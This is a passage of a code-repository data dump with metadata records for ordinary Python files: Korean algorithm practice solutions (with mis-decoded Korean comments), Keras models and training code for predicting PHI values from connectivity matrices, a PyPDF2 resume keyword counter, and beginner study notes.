k*(k+2):\n cnt = 2*k +1\n print(cnt)\n" }, { "alpha_fraction": 0.3997477889060974, "alphanum_fraction": 0.5384615659713745, "avg_line_length": 16.863636016845703, "blob_id": "ed32c04ab30c551981151c8e02921146027bed85", "content_id": "847de44049abdf766dff9f489e23d60eda278a52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1149, "license_type": "no_license", "max_line_length": 114, "num_lines": 44, "path": "/arr/test_4344_arr.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋Œ€ํ•™์ƒ ์ƒˆ๋‚ด๊ธฐ๋“ค์˜ 90%๋Š” ์ž์‹ ์ด ๋ฐ˜์—์„œ ํ‰๊ท ์€ ๋„˜๋Š”๋‹ค๊ณ  ์ƒ๊ฐํ•œ๋‹ค. ๋‹น์‹ ์€ ๊ทธ๋“ค์—๊ฒŒ ์Šฌํ”ˆ ์ง„์‹ค์„ ์•Œ๋ ค์ค˜์•ผ ํ•œ๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์—๋Š” ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค์˜ ๊ฐœ์ˆ˜ C๊ฐ€ ์ฃผ์–ด์ง„๋‹ค.\n\n# ๋‘˜์งธ ์ค„๋ถ€ํ„ฐ ๊ฐ ํ…Œ์ŠคํŠธ ์ผ€์ด์Šค๋งˆ๋‹ค ํ•™์ƒ์˜ ์ˆ˜ N(1 โ‰ค N โ‰ค 1000, N์€ ์ •์ˆ˜)์ด ์ฒซ ์ˆ˜๋กœ ์ฃผ์–ด์ง€๊ณ , ์ด์–ด์„œ N๋ช…์˜ ์ ์ˆ˜๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ์ ์ˆ˜๋Š” 0๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , 100๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™์€ ์ •์ˆ˜์ด๋‹ค.\n\n# ์ถœ๋ ฅ\n# ๊ฐ ์ผ€์ด์Šค๋งˆ๋‹ค ํ•œ ์ค„์”ฉ ํ‰๊ท ์„ ๋„˜๋Š” ํ•™์ƒ๋“ค์˜ ๋น„์œจ์„ ๋ฐ˜์˜ฌ๋ฆผํ•˜์—ฌ ์†Œ์ˆ˜์  ์…‹์งธ ์ž๋ฆฌ๊นŒ์ง€ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 5\n# 5 50 50 70 80 100\n# 7 100 95 90 80 70 60 50\n# 3 70 90 80\n# 3 70 90 81\n# 9 100 99 98 97 96 95 94 93 91\n\n# ์˜ˆ์ œ ์ถœ๋ ฅ \n# 40.000%\n# 57.143%\n# 33.333%\n# 66.667%\n# 55.556%\n\n\nnum = int(input())\n\nfor i in range(num):\n lst = []\n total_score = 0\n lst = list(map(int,input().split()))\n \n for j in lst[1:]:\n total_score += j\n avg = total_score / lst[0] \n\n a = 0\n for k in lst[1:]:\n if k > avg:\n a += 1\n answer = a / lst[0]*100\n\n print(\"%.3f%%\" %answer)\n\n\n\n\n " }, { "alpha_fraction": 0.5409836173057556, "alphanum_fraction": 0.5819672346115112, "avg_line_length": 14.375, "blob_id": "734541b82c0a6f4054c7042a16581bde51acaa7f", "content_id": "91c514603367bfd607e9120e5f50d6d3a1cc567c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 176, "license_type": "no_license", "max_line_length": 53, "num_lines": 8, "path": "/test_2741_for.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "#๊ฑฐ๊พธ๋กœ ์ถœ๋ ฅํ•˜๊ธฐ \n#range ์“ธ๋•Œ range(n,0, -1)ํ•˜๋ฉด ํฐ ์ˆ˜์ธ n ๋ถ€ํ„ฐ 0 ๊นŒ์ง€ ํ•˜๋‚˜์”ฉ ํฐ์ˆ˜๋ถ€ํ„ฐ ์ถœ๋ ฅ\n\n\n\nn = int(input())\nfor i in range(n,0, -1):\n print(i)" }, { "alpha_fraction": 0.47590360045433044, "alphanum_fraction": 0.5421686768531799, "avg_line_length": 17, "blob_id": "12b868a8a907a0d9298c30789bc186eb8f99e727", "content_id": "f7bdb306620bae06d94c8210dbdf0ef2ba3791a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 258, "license_type": "no_license", "max_line_length": 40, "num_lines": 9, "path": "/test8393_for.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# n์ด ์ฃผ์–ด์กŒ์„ ๋•Œ, 1๋ถ€ํ„ฐ n๊นŒ์ง€ ํ•ฉ์„ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n# ์ฒซ์งธ ์ค„์— n (1 โ‰ค n โ‰ค 10,000)์ด ์ฃผ์–ด์ง„๋‹ค.\n# 1๋ถ€ํ„ฐ n๊นŒ์ง€ ํ•ฉ์„ ์ถœ๋ ฅํ•œ๋‹ค.\n\nn = int(input())\nm = 0\nfor i in range (1,n+1):\n m += i\nprint(m)\n " }, { "alpha_fraction": 0.3910614550113678, "alphanum_fraction": 0.4134078323841095, "avg_line_length": 13.833333015441895, "blob_id": "5b78debe9b329c1faac9a4b3c013a3a2d25ee9e8", "content_id": "215d5b7b30a732785a56a41dce982ced303935e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 257, "license_type": "no_license", "max_line_length": 47, "num_lines": 12, "path": "/test_2438_for.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ์ฒซ์งธ ์ค„์—๋Š” ๋ณ„ 1๊ฐœ, ๋‘˜์งธ ์ค„์—๋Š” ๋ณ„ 2๊ฐœ, N๋ฒˆ์งธ ์ค„์—๋Š” ๋ณ„ N๊ฐœ๋ฅผ ์ฐ๋Š” ๋ฌธ์ œ\n# ๋นˆ์นธ๊ณผ ๋ณ„์„ ๋‚˜๋ˆ„์–ด ๋”ฐ๋กœ ๋”ํ•ด์ค˜\n# *\n# **\n# ***\n# ****\n# *****\n\nn = int(input())\n\nfor i in range(1,n+1):\n print(\" \"*(n-i)+\"*\" *i)\n\n" }, { "alpha_fraction": 0.49632352590560913, "alphanum_fraction": 0.5514705777168274, "avg_line_length": 17.55172348022461, "blob_id": "5a894164297cacee2af7cb5decd781514655ecbc", "content_id": "991579676d0208e53a08e71112c56cb0a6642325", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1010, "license_type": "no_license", "max_line_length": 226, "num_lines": 29, "path": "/math1/test_2292_math.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "\n# ๋ฌธ์ œ\n\n\n# ์œ„์˜ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด ์œก๊ฐํ˜•์œผ๋กœ ์ด๋ฃจ์–ด์ง„ ๋ฒŒ์ง‘์ด ์žˆ๋‹ค. ๊ทธ๋ฆผ์—์„œ ๋ณด๋Š” ๋ฐ”์™€ ๊ฐ™์ด ์ค‘์•™์˜ ๋ฐฉ 1๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ด์„œ ์ด์›ƒํ•˜๋Š” ๋ฐฉ์— ๋Œ์•„๊ฐ€๋ฉด์„œ 1์”ฉ ์ฆ๊ฐ€ํ•˜๋Š” ๋ฒˆํ˜ธ๋ฅผ ์ฃผ์†Œ๋กœ ๋งค๊ธธ ์ˆ˜ ์žˆ๋‹ค. ์ˆซ์ž N์ด ์ฃผ์–ด์กŒ์„ ๋•Œ, ๋ฒŒ์ง‘์˜ ์ค‘์•™ 1์—์„œ N๋ฒˆ ๋ฐฉ๊นŒ์ง€ ์ตœ์†Œ ๊ฐœ์ˆ˜์˜ ๋ฐฉ์„ ์ง€๋‚˜์„œ ๊ฐˆ ๋•Œ ๋ช‡ ๊ฐœ์˜ ๋ฐฉ์„ ์ง€๋‚˜๊ฐ€๋Š”์ง€(์‹œ์ž‘๊ณผ ๋์„ ํฌํ•จํ•˜์—ฌ)๋ฅผ ๊ณ„์‚ฐํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด, 13๊นŒ์ง€๋Š” 3๊ฐœ, 58๊นŒ์ง€๋Š” 5๊ฐœ๋ฅผ ์ง€๋‚œ๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— N(1 โ‰ค N โ‰ค 1,000,000,000)์ด ์ฃผ์–ด์ง„๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ž…๋ ฅ์œผ๋กœ ์ฃผ์–ด์ง„ ๋ฐฉ๊นŒ์ง€ ์ตœ์†Œ ๊ฐœ์ˆ˜์˜ ๋ฐฉ์„ ์ง€๋‚˜์„œ ๊ฐˆ ๋•Œ ๋ช‡ ๊ฐœ์˜ ๋ฐฉ์„ ์ง€๋‚˜๋Š”์ง€ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 1 ๋ณต์‚ฌ\n# 13\n# ์˜ˆ์ œ ์ถœ๋ ฅ 1 ๋ณต์‚ฌ\n# 3\n\nn = int(input())\n\na = 1 # ๊ทธ๋ฃน ์ตœ๊ณ  ์ˆซ์ž (๋ˆ„์ ๋œ ์ˆซ์ž)\nb = 6 # ๊ทธ๋ฃน ์ฆ๊ฐ€ํญ\ncnt = 1 # ๋ฐฉ ์นด์šดํ„ฐ\n\n\nwhile n > a :\n cnt += 1\n a += b\n b += 6\n \nprint(cnt)\n \n\n\n" }, { "alpha_fraction": 0.462184876203537, "alphanum_fraction": 0.4789915978908539, "avg_line_length": 19, "blob_id": "b5b49725a80205a2330d2b4309e78ad55fafee3a", "content_id": "82085255b4a1a1de9b4bdda4fd976c4f808c4a43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 119, "license_type": "no_license", "max_line_length": 36, "num_lines": 6, "path": "/test_11021_for.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "n = int(input())\nm = 0\nfor i in range(n):\n a, b = map(int, input().split())\n m = i+1\n print(f\"Case #{m}:\",a+b)" }, { "alpha_fraction": 0.5108280181884766, "alphanum_fraction": 0.5350318551063538, "avg_line_length": 15.723403930664062, "blob_id": "2e31bc45ee7f952f96e40c6a6343d20383cc7ff3", "content_id": "b58d4595be54e65cdfd215079860c455ecb22f40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1323, "license_type": "no_license", "max_line_length": 77, "num_lines": 47, "path": "/math1/test_2869_math.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ๋•… ์œ„์— ๋‹ฌํŒฝ์ด๊ฐ€ ์žˆ๋‹ค. ์ด ๋‹ฌํŒฝ์ด๋Š” ๋†’์ด๊ฐ€ V๋ฏธํ„ฐ์ธ ๋‚˜๋ฌด ๋ง‰๋Œ€๋ฅผ ์˜ฌ๋ผ๊ฐˆ ๊ฒƒ์ด๋‹ค.\n\n# ๋‹ฌํŒฝ์ด๋Š” ๋‚ฎ์— A๋ฏธํ„ฐ ์˜ฌ๋ผ๊ฐˆ ์ˆ˜ ์žˆ๋‹ค. ํ•˜์ง€๋งŒ, ๋ฐค์— ์ž ์„ ์ž๋Š” ๋™์•ˆ B๋ฏธํ„ฐ ๋ฏธ๋„๋Ÿฌ์ง„๋‹ค. ๋˜, ์ •์ƒ์— ์˜ฌ๋ผ๊ฐ„ ํ›„์—๋Š” ๋ฏธ๋„๋Ÿฌ์ง€์ง€ ์•Š๋Š”๋‹ค.\n\n# ๋‹ฌํŒฝ์ด๊ฐ€ ๋‚˜๋ฌด ๋ง‰๋Œ€๋ฅผ ๋ชจ๋‘ ์˜ฌ๋ผ๊ฐ€๋ ค๋ฉด, ๋ฉฐ์น ์ด ๊ฑธ๋ฆฌ๋Š”์ง€ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์„ธ ์ •์ˆ˜ A, B, V๊ฐ€ ๊ณต๋ฐฑ์œผ๋กœ ๊ตฌ๋ถ„๋˜์–ด์„œ ์ฃผ์–ด์ง„๋‹ค. (1 โ‰ค B < A โ‰ค V โ‰ค 1,000,000,000)\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ๋‹ฌํŒฝ์ด๊ฐ€ ๋‚˜๋ฌด ๋ง‰๋Œ€๋ฅผ ๋ชจ๋‘ ์˜ฌ๋ผ๊ฐ€๋Š”๋ฐ ๋ฉฐ์น ์ด ๊ฑธ๋ฆฌ๋Š”์ง€ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 2 1 5\n# ์˜ˆ์ œ ์ถœ๋ ฅ\n# 4\n\n\n\n# A,B,V = map(int, input().split())\n\n# cnt = 0 #๋ฉฐ์น ์ด ๊ฑธ๋ฆฌ๋Š”์ง€\n# high = 0 #๋‹ฌํŒฝ์ด ๋†’์ด\n\n# while True:\n# cnt += 1\n# high += A\n# if high >= V:\n# print(cnt)\n# break\n# high -= B\n\n\n# ๋‹ฌํŒฝ์ด ํ•˜๋ฃจ ์ด๋™๊ฑฐ๋ฆฌ๋Š” (๋‚ฎ์ด๋™ - ๋ฐค์ด๋™)\n# ์ •์ƒ์— ๋„์ฐฉํ•˜๋ฉด ๋ฏธ๋„๋Ÿฌ์ง€์ง€ ์•Š์œผ๋‹ˆ๊นŒ ์˜ฌ๋ผ๊ฐˆ ๋†’์ด๋Š” (๋‚˜๋ฌด๋†’์ด - ๋ฐค์ด๋™)\n# ๋‚˜๋ฌด๋†’์ด = (๋‚ฎ์ด๋™ - ๋ฐค์ด๋™) * (day-1) + ๋‚ฎ์ด๋™ \n\n# (๋‚˜๋ฌด๋†’์ด - ๋ฐค์ด๋™) = (๋‚ฎ์ด๋™ - ๋ฐค์ด๋™) * day\n\n\nfrom math import *\nA,B,V = map(int, input().split())\n\nday = (V - B) / (A - B)\n\nprint(ceil(day))" }, { "alpha_fraction": 0.651260495185852, "alphanum_fraction": 0.651260495185852, "avg_line_length": 22.700000762939453, "blob_id": "511a7af06c1d5352043d31f6b0c86061da368993", "content_id": "43d4f05f694642d61a3e8a43bf185cf2f010c88c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 292, "license_type": "no_license", "max_line_length": 49, "num_lines": 10, "path": "/test_15552_for.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# input ๋Œ€์‹ ์— sys.stdin.readline() ์‚ฌ์šฉํ•˜๊ธฐ\n# int ๋ณ€ํ™˜์ด๋‚˜ slpit()์‚ฌ์šฉ๊ฐ€๋Šฅ\n# ๋ฑ์ˆ˜์ €์žฅํ•ด์„œ ์“ฐ๋Š”๊ฒƒ๋„ ์ข‹์Œ ex) input = sys.stdin.readline()\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nfor i in range(n):\n a,b = map(int, input().split())\n print(a+b)\n\n" } ]
37
PyDev-3/Cv-Analysis-Using-Python
https://github.com/PyDev-3/Cv-Analysis-Using-Python
551c584e5dc9f54cbae86997ce3df8e10e9017a8
94a2b1510e57898da20374af37dfe5f318cb1c47
c7b834ebe5c736ea5fce0c10bb5f0386bd59d75b
refs/heads/main
2023-04-10T19:10:02.375791
2021-05-01T08:54:55
2021-05-01T08:54:55
352,605,732
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7284768223762512, "alphanum_fraction": 0.751655638217926, "avg_line_length": 36.75, "blob_id": "0c006d1327599e1b94cc5c3150dda59d9765ca2b", "content_id": "f88d03867f7814511a2543f24146b45efc8d1002", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 302, "license_type": "no_license", "max_line_length": 59, "num_lines": 8, "path": "/README.md", "repo_name": "PyDev-3/Cv-Analysis-Using-Python", "src_encoding": "UTF-8", "text": "# Cv-Analysis-Using-Python\n\n1. Install - import PyPdf2\n2. Filter keyword text (remove symbols, blank space, etc.)\n3. Read and extract .pdf file.\n4. Apply filter on extracted text from pdf.\n5. Find the count of occurance of each keyword in .pdf file\n6. Return the count of occurance of a keyword in cv.\n" }, { "alpha_fraction": 0.4888613820075989, "alphanum_fraction": 0.4913366436958313, "avg_line_length": 24.064516067504883, "blob_id": "bec676dc8969ffd2e50cb724a6443867e0f3b499", "content_id": "845965b42e8fc0f1a95047e97f6449ba8686941b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1616, "license_type": "no_license", "max_line_length": 60, "num_lines": 62, "path": "/cv.py", "repo_name": "PyDev-3/Cv-Analysis-Using-Python", "src_encoding": "UTF-8", "text": "import PyPDF2\r\n\r\nkeyword = 'PYTHON, C++ , Java.'\r\n\r\nclass Keyword:\r\n def txt_filter(self, dt):\r\n '''\r\n keyword to lower case\r\n maketrans for special symbols\r\n '''\r\n dt = dt.lower().translate(str.maketrans(',.', ' '))\r\n dt_list = []\r\n for i in dt.split():\r\n dt_list.append(i)\r\n return dt_list\r\n\r\n\r\nclass File:\r\n def parse_doc(self, file):\r\n '''\r\n parse a .pdf file\r\n :return: doc text\r\n '''\r\n try:\r\n doc_txt = ''\r\n # open the file, with read/binary priviledges\r\n f = open(file, 'rb')\r\n pdf = PyPDF2.PdfFileReader(f)\r\n for page in pdf.pages:\r\n doc_txt += page.extractText()\r\n f.close()\r\n doc_txt = Keyword().txt_filter(doc_txt)\r\n print(doc_txt)\r\n return doc_txt\r\n\r\n except:\r\n return None\r\n\r\n\r\nclass Ranker:\r\n def set_rank(self, keywords, doc_text):\r\n '''\r\n count occurance of keyword in text string\r\n :param keywords: str object of keyword\r\n :param doc_text: str object of file text\r\n :return: dict object\r\n '''\r\n keyword_count = {}\r\n for keyword in keywords:\r\n count = 0\r\n for text in doc_text:\r\n if text == keyword:\r\n count += 1\r\n keyword_count.update({keyword: count})\r\n return keyword_count\r\n\r\n\r\nkeywords = Keyword().txt_filter(keyword)\r\ndoc_text = File().parse_doc('RESUME.pdf')\r\n\r\nres = Ranker().set_rank(keywords, doc_text)\r\nprint(res)\r\n" } ]
2
benjaminthuerer/deepPHI
https://github.com/benjaminthuerer/deepPHI
1463d921ec551599bbbd1c6b3e9be550e770b1c7
443699a9e7d14c9448b61a033cf46759d32e004d
d0322b0a01671fba73ec9de680b99792745d2e91
refs/heads/master
2020-05-31T16:29:18.193688
2019-06-26T09:15:41
2019-06-26T09:15:41
190,382,897
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6566885113716125, "alphanum_fraction": 0.6852198243141174, "avg_line_length": 35.23728942871094, "blob_id": "ce207d46126845e8188e4b0dab07848587f416e7", "content_id": "a9aea137edcc5d6cd7f2103e5cc1094c264a575c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2138, "license_type": "no_license", "max_line_length": 118, "num_lines": 59, "path": "/createModel.py", "repo_name": "benjaminthuerer/deepPHI", "src_encoding": "UTF-8", "text": "import tensorflow.keras as keras\n\n\ndef model_1d(dim):\n \"\"\"create regression model with Dense layers\"\"\"\n\n model = keras.Sequential()\n model.add(keras.layers.Dense(480, input_dim=dim, kernel_initializer='normal', activation='relu'))\n model.add(keras.layers.BatchNormalization())\n model.add(keras.layers.Dense(240, kernel_initializer='normal', activation='relu'))\n model.add(keras.layers.BatchNormalization())\n model.add(keras.layers.Dense(120, kernel_initializer='normal', activation='relu'))\n model.add(keras.layers.BatchNormalization())\n\n model.add(keras.layers.Dense(1, kernel_initializer='normal'))\n model.compile(optimizer='adam', loss='mean_squared_error')\n\n return model\n\n\ndef model_cnn(dim):\n \"\"\"create regression model with 2D CNN\"\"\"\n\n model = keras.Sequential()\n model.add(keras.layers.Conv2D(8, 2, input_shape=(dim[1], dim[2], 1), kernel_initializer='normal',\n activation='relu', data_format='channels_last'))\n model.add(keras.layers.MaxPooling2D(pool_size=1))\n\n model.add(keras.layers.Conv2D(12, 2, kernel_initializer='normal', activation='relu', data_format='channels_last'))\n model.add(keras.layers.MaxPooling2D(pool_size=1))\n\n model.add(keras.layers.Conv2D(16, 2, kernel_initializer='normal', activation='relu'))\n model.add(keras.layers.MaxPooling2D(pool_size=1))\n\n model.add(keras.layers.Conv2D(20, 2, kernel_initializer='normal', activation='relu'))\n model.add(keras.layers.MaxPooling2D(pool_size=1))\n\n # Conv1D instead? --> check for dimensions\n # model.add(keras.layers.Conv2D(16, 2, kernel_initializer='normal', activation='relu'))\n # model.add(keras.layers.MaxPooling2D(pool_size=1))\n\n model.add(keras.layers.Flatten())\n\n # Additional Dense layers worsened results (R2 down to .54)\n\n model.add(keras.layers.Dense(1, kernel_initializer='normal'))\n model.compile(optimizer='adam', loss='mean_squared_error')\n\n return model\n\n\nif __name__ == \"__main__\":\n n_dim = 160\n model = model_1d(n_dim)\n model.summary()\n\n n_dim = [3000, 32, 5, 1]\n modelCNN = model_cnn(n_dim)\n modelCNN.summary()\n" }, { "alpha_fraction": 0.621874988079071, "alphanum_fraction": 0.6443750262260437, "avg_line_length": 42.24324417114258, "blob_id": "cd39e9e281a3e435dabb5b16681240cfc886aa8b", "content_id": "b1b87e6d88f3b0d42b53b305a190f4063971349b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1600, "license_type": "no_license", "max_line_length": 103, "num_lines": 37, "path": "/index.py", "repo_name": "benjaminthuerer/deepPHI", "src_encoding": "UTF-8", "text": "import scipy.io\nimport numpy as np\nimport trainModel\n\n# Define model parameters:\nepochs = 200\nbatch = 70\n\n# load data and target\ndata_path = 'Z:/13_deepPhi/'\nfiles_train = ['conn_matrices.mat', 'network_matrices.mat', 'phismax.mat', 'phismeans.mat']\n\nconn_matrices = network_matrices = phismax = phismeans = []\n\nfor file in files_train:\n vars()[file[:-4]] = scipy.io.loadmat(data_path + file)['mat']\n\nphismax = phismax.tolist()[0]\nphismeans = phismeans.tolist()[0]\n\n\"\"\"1D Dense model: reshape data, split into training and validation data, train model\"\"\"\n# dim = conn_matrices.shape\n# conn_matrices = np.reshape(conn_matrices, (dim[0], dim[1] * dim[2]))\n# conn_matrices, val_matrices = conn_matrices[:int(phismax.__len__() * 0.8), :], \\\n# conn_matrices[int(phismax.__len__() * 0.8):phismax.__len__(), :]\n# phismax, val_phismax = phismax[:int(phismax.__len__() * 0.8)], phismax[int(phismax.__len__() * 0.8):]\n#\n# trainModel.train_model_1d(epochs, batch, conn_matrices, val_matrices, phismax, val_phismax)\n\n\"\"\"2D CNN model: reshape data, split into training and validation data, train model\"\"\"\ndim = conn_matrices.shape\nconn_matrices = conn_matrices.reshape(dim[0], dim[1], dim[2], 1)\nconn_matrices, val_matrices = conn_matrices[:int(phismax.__len__() * 0.8), :, :, :], \\\n conn_matrices[int(phismax.__len__() * 0.8):phismax.__len__(), :, :, :]\nphismax, val_phismax = phismax[:int(phismax.__len__() * 0.8)], phismax[int(phismax.__len__() * 0.8):]\n\ntrainModel.train_model_cnn(epochs, batch, conn_matrices, val_matrices, phismax, val_phismax)\n" }, { "alpha_fraction": 0.6411032676696777, "alphanum_fraction": 0.6609485149383545, "avg_line_length": 37.11538314819336, "blob_id": "245624e2a4bc3722fc2d5d67e2c8d0d081332608", "content_id": "f6e3c05af7a695d13924a0692c80895e1fe8b2f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2973, "license_type": "no_license", "max_line_length": 116, "num_lines": 78, "path": "/trainModel.py", "repo_name": "benjaminthuerer/deepPHI", "src_encoding": "UTF-8", "text": "import numpy as np\nimport createModel\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.wrappers.scikit_learn import KerasRegressor\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport seaborn as sns\n\n\ndef cross_validation(estimator, train_data, train_target, val_data, val_target):\n \"\"\"10-fold cross-validation of KerasRegressor with mean-squared-error and R-squared for scoring\"\"\"\n\n kfold = KFold(n_splits=10, random_state=7)\n results_r = cross_val_score(estimator, train_data, train_target, cv=kfold, scoring=\"r2\")\n print(\"Results: %.2f (%.2f) R2\" % (results_r.mean(), results_r.std()))\n\n results_mse = cross_val_score(estimator, train_data, train_target, cv=kfold, scoring=\"neg_mean_squared_error\")\n print(\"Results: %.2f (%.2f) MSE\" % (results_mse.mean(), results_mse.std()))\n\n # fit again for plotting\n estimator.fit(train_data, train_target)\n predictions = estimator.predict(val_data)\n\n # use seaborn for plotting\n mse = mean_squared_error(val_target, predictions)\n r2 = r2_score(val_target, predictions)\n\n ax = sns.regplot(x=val_target, y=predictions)\n ax.set_title(\"MSE: %.2f, R2: %.2f\" % (mse, r2))\n ax.set_xlabel(\"computed PHI max\")\n ax.set_ylabel(\"predicted PHI max\")\n plt.show()\n\n \"\"\"old scatter plot\"\"\"\n # font = {'family': 'serif',\n # 'color': 'red',\n # 'weight': 'normal',\n # 'size': 16,\n # }\n # plt.scatter(val_target, predictions)\n # plt.xlabel(\"PHI max values\")\n # plt.ylabel(\"predicted PHI max\")\n # plt.axis(\"equal\")\n # plt.axis(\"square\")\n # plt.xlim(-2, 12)\n # plt.ylim(-2, 12)\n # _ = plt.plot([-100, 100], [-100, 100], \"r--\")\n # plt.title(\"MSE: %.2f, R2: %.2f\" % (mse, r2), fontdict=font)\n # plt.show()\n\n \"\"\"old regressor without cross-validation\"\"\"\n # model = createModel.model_1d()\n # es = keras.callbacks.EarlyStopping(monitor='val_loss', patience=2)\n # model.fit(train_data, train_target, batch_size=50, epochs=100, validation_split=0.2, callbacks=[es])\n\n\ndef train_model_1d(epochs, batch, train_data, val_data, train_target, val_target):\n \"\"\"train KerasRegressor model to predict PHI with Dense model\"\"\"\n\n n_dim = train_data.shape[1]\n\n np.random.seed(7)\n estimator = KerasRegressor(build_fn=createModel.model_1d, dim=n_dim, epochs=epochs, batch_size=batch, verbose=2)\n\n cross_validation(estimator, train_data, train_target, val_data, val_target)\n\n\ndef train_model_cnn(epochs, batch, train_data, val_data, train_target, val_target):\n \"\"\"train KerasRegressor model to predict PHI with 2D CNN\"\"\"\n\n n_dim = train_data.shape\n\n np.random.seed(7)\n estimator = KerasRegressor(build_fn=createModel.model_cnn, dim=n_dim, epochs=epochs, batch_size=batch,\n verbose=2)\n\n cross_validation(estimator, train_data, train_target, val_data, val_target)\n" } ]
3
HONG-C/PY_STUDY
https://github.com/HONG-C/PY_STUDY
d37c067379b9882a902facc7d39f8da044b71227
305597bffbd1e3920daf4d9f36b5d4b8f646d6b9
68e7b13a5490caa0243a996d9382bd0d84d558e1
refs/heads/master
2023-07-04T16:51:42.431209
2021-08-19T12:57:04
2021-08-19T12:57:04
384,712,255
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5869175791740417, "alphanum_fraction": 0.6281362175941467, "avg_line_length": 14.822694778442383, "blob_id": "3d7ec8380ce74338bd5a5bde0ec0a3ec3c7a0058", "content_id": "7fce7275ef5c086c97938a38dd569c7b8393ada6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3134, "license_type": "no_license", "max_line_length": 54, "num_lines": 141, "path": "/PY_STUDY/PY_STUDY_01.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "#ํŒŒ์ผ ์‹คํ–‰๋ฒ•\n#1.cd PY_STUDY\n#2.python3 PY_STUDY_03.py \n\n\n#์ฑ•ํ„ฐ1\nprint(\"์ฑ•ํ„ฐ1\")\nage=4\nhobby='์‚ฐ์ฑ…'\nprint('๋‚˜์ด๋Š”'+str(age)+'์‚ด,์ทจ๋ฏธ๋Š”'+hobby)#ํ˜•๋ณ€ํ™˜ ํ•„์ˆ˜\nprint('๋‚˜์ด๋Š”',age,'์‚ด,์ทจ๋ฏธ๋Š”',hobby)\n#,(์‰ผํ‘œ)๊ฐ€ ๋„์–ด์“ฐ๊ธฐ๋ฅผ ๋งŒ๋“ฌ ์ด๋•Œ๋Š” ํ˜•๋ณ€ํ™˜ ๋ถˆํ•„์š”\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ2\nprint(\"์ฑ•ํ„ฐ2\")\n'''\n*์žˆ๋Š” ๋ฌธ์žฅ ์ฃผ์„์ฒ˜๋ฆฌํ•  ๋•Œ\n์ปจํŠธ๋กค+์Šฌ๋ž˜์‹œ(๋ฌผ์Œํ‘œ)\n'''\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ3\nprint(\"์ฑ•ํ„ฐ3\")\nprint((3>0)and(2>0))\nprint((3>0)&(2>0))\n#and์™€ &์€ ๋™์ผ!\nprint((3>0)or(2>5))\nprint((3>0)|(2>5))\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ4\nprint(\"์ฑ•ํ„ฐ4\")\npython = \"Python is Amazing\"\nprint(len(python))#๋ฌธ์ž์—ด ๊ธธ์ด ๋ฐ˜ํ™˜\n\nprint(python.find(\"java\"))\n\"\"\"java์˜ ์œ„์น˜๋ฅผ ์ฐพ์•„๋ผ(์—†์œผ๋‹ˆ -1 ์ถœ๋ ฅ)\"\"\"\n#index=python.index('java')\n\"\"\"java์˜ ์œ„์น˜๋ฅผ ์ฐพ์•„๋ผ(์—†์œผ๋‹ˆ ์˜ค๋ฅ˜ ์ถœ๋ 